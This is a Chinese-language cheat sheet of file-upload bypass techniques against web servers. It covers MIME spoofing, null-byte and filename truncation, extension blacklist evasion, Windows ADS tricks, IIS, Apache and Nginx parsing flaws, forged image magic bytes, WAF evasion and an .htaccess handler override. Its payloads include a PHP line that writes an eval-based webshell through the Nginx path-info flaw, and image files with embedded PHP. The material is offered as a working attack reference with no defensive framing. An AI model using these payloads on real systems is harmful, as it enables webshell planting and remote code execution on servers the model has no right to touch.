A 客户端JS检测

B 服务端MIME类型检测

Content-Type: image/gif jpeg (原为Content-Type: text/plain)

.jpg image/jpeg

.ppt application/x-ppt

C 目录路径检测

文件名截断

空格

0x00 改burp包成00

%00

xx.jpg%00.php

换行符以及回车符的截断

把文件名放到目录路径那边去

把文件名前加上目录 filename="test.asp/evil.jpg"

都可以配合截断

**D 文件扩展名**

1. 文件名大小写绕过

用像AsP，pHp 之类的文件名绕过黑名单检测

2. 名单列表绕过

用黑名单里没有的名单进行攻击，比如黑名单里没有asa 或cer 之类

3. 特殊文件名绕过

比如发送的http 包里把文件名改成test.asp. 或test.asp\_

4. 0x00 截断绕过

5.上传一个 .htaccess 文件，文件内容如下

　　　　　　<FilesMatch "anything">

　　　　　　SetHandler application/x-httpd-php

　　　　　　</FilesMatch>

再次上传一个 xxxx.anything 就可以了

2.3.2 windows特性

ADS流：test.php::$DATA

假设我们需要上传的文件内容为：<?php phpinfo();?>下面是上传是会出现的现象：

上传的文件名  服务器表面现象    生成的文件内容

Test.php:a.jpg     生成Test.php  空

Test.php::$DATA  生成test.php  <?php phpinfo();?>

Test.php::$INDEX\_ALLOCATION  生成test.php文件夹

Test.php::$DATA\0.jpg  生成0.jpg  <?php phpinfo();?>

Test.php::$DATA\aaa.jpg  生成aaa.jpg  <?php phpinfo();?>

test.php.

test.php\_

test.php(空格)

\*=.

<=\*

>=?

test.<<<

test.php:1.jpg会生成一个test.php的空文件

2.3.3 ASP

解析漏洞:

.asp;.jpg

.asp.jpg

.asp;jpg

+111.asp;+222.jpg

/111.asp/1.jpg

/111.aspx/1.jpg

后缀名：

asa,cer,cdx,ashx,asmx,xml,htr,asax

双文件扩展：

test.asp.jpg

RTLO：

asp.html-内容为一句话

php.txt-内容为一句话

2.3.4 JSP

.jsp.jpg.jsp-用两个jsp包围中间的jpg

后缀名：jspf,jspa,jsps

2.3.5 PHP

后缀名：.php3 ,.php5,.php7

大小写：pHp

解析漏洞：

1.php.jpg

1.jpg.php

1.php jpg(jpg前面两个空格)

1.php jpg(jpg前面一个空格)

/1.jpg/1.php

/1.jpg%00.php

/1.jpg/.php

/1.jpg/php

特殊文件利用：

.htaccess

.user.ini

E 文件内容

要绕过jpg 文件幻数检测就要在文件开头写上下图的值

Value = FF D8 FF E0 00 10 4A 46 49 46

要绕过gif 文件幻数检测就要在文件开头写上下图的值

Value = 47 49 46 38 39 61

要绕过png 文件幻数检测就要在文件开头写上下面的值

Value = 89 50 4E 47

- 文件相关信息检测

图像文件相关信息检测常用的就是getimagesize()函数

只需要把文件头部分伪造好就ok 了，就是在幻数的基础上还加了一些文件信息

有点像下面的结构

GIF89a

(...some binary data for image...)

<?php phpinfo(); ?>

(... skipping the rest of binary data ...)

先说下对渲染/加载测试攻击- 代码注入绕过

可以用图像处理软件对一张图片进行代码注入

用winhex 看数据可以分析出这类工具的原理是

在不破坏文件本身的渲染情况下找一个空白区进行填充代码

然后是进行fuzzing 触发报错看下是被用什么API 或函数进行的二次渲染

上传文件数据不完整的gif 文件

触发报错后，知道后台用的是imagecreatefromgif()这个函数

上传文件数据不完整的png 文件

触发报错后，知道后台用的是imagecreatefrompng()这个函数

二次渲染 绕过

利用GIF文件绕过二次渲染

绕过GD库

溢出攻击，上传自己的恶意文件后 ，服务器上的文件加载器会主动进行加载测试 加载测试 时被溢出攻击执行shellcode

<http://lcx.cc/?FoxNews=1542.html>

**对比两张经过php-gd库转换过的gif图片，如果其中存在相同之处，这就证明这部分图片数据不会经过转换。然后我可以注入代码到这部分图片文件中，最终实现远程代码执行**

**7.1 利用waf特性**

* 在恶意代码前加垃圾数据；
* 在数据包前加垃圾数据；
* 在Content-Disposition参数后面加垃圾数据；
* 多加一个filename；
* 更改HTTP请求方法；
* 删除实体里面的Conten-Type字段；

第一种是删除Content整行，第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c，将.php加c后面即可，但是要注意额，双引号要跟着c.php。

* 删除Content-Disposition字段里的空格
* 增加一个空格
* 修改Content-Disposition字段值的大小写
* 文件名后缀处回车
* 多个Content-Disposition

**7.4 特殊的长文件名绕过**

文件名使用非字母数字，比如中文等最大程度的拉长

shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg

**7.5 反删除**

将name="file1"改成了file4，可以防止文件删除（JCMS漏洞）

解析漏洞

IIS

解析- test.asp/任意文件名| test.asp;任意文件名| 任意文件名/任意文件名.php

描述- IIS6.0 在解析asp 格式的时候有两个解析漏洞，一个是如果目录名包含".asp"字符串，

那么这个目录下所有的文件都会按照asp 去解析，另一个是只要文件名中含有".asp;"

会优先按asp 来解析

IIS7.0/7.5 是对php 解析时有一个类似于Nginx 的解析漏洞，对任意文件名只要在URL

后面追加上字符串"/任意文件名.php"就会按照php 的方式去解析(IIS6.0 没测试)

Apache:

从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断

后缀不识别：1.php.php123

配置错误：1.php.jpg

Nginx：

Nginx默认是以CGI的方式支持PHP解析的，和IIS7.5一样开启了cgi.fix\_pathinf

1.jpg/1.php

1.jpg%00.php

1.jpg/%20\1.php

上传一个名字为test.jpg，以下内容的文件

<?PHP fputs(fopen('shell.php','w'),'<?php eval($\_POST[caidao])?>');?>

然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php

* CMS漏洞：针对不同CMS存在的上传漏洞进行绕过。
* 编辑器漏洞：比如FCK，Ewebeditor等，可以针对编辑器的漏洞进行绕过。